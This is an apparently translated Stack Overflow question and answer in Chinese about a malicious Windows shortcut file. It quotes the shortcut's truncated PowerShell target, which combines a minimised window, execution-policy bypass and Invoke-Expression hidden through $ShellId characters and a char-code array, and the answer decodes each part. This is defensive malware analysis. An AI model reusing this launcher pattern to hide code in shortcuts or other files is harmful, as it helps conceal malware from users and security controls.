我下载了一个我几乎没有考虑过的文件,但(快捷方式的)目标引起了我的注意:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP . ( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code]
毫无疑问,这里发生了一些可疑的事情。我理解前三个参数,但我不太明白这样的有效负载代码如何在基本快捷方式中工作?
最佳答案
我猜,它运行一个 Powershell
- 没有资料
- WindowStyle 1 = 最小化
- ExecutionPolicy ByPass = 没有任何阻止,也没有警告或提示
- 然后对剩余代码进行点源
让我们拆分这段代码:
( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code]
$ShellId
是一个内置的 Powershell 变量:
>$ShellId
Microsoft.PowerShell
因此 ( $shelliD[1]+$SHeLlID[13]+'x')
转换为 iex
(= Invoke-Expression
)
其余代码是 ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[省略其余代码]
。我猜 char 数组包含 ascii 字符。如果是这样,我们可以将其转换为:
$aspx =
总结:
powershell.exe -NoProfile -WindowStyle 1 -ExecutionPolicy ByPass . iex "$aspx = ...."
因此它会在最小化的 Powershell 窗口中调用以 $aspx =
开头的代码,而不会出现警告或提示。
也许代码通过了这些 obfuscation methods 之一.
希望对您有所帮助。
关于powershell - 恶意软件使用 .Lnk 文件到 Powershell,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/53128098/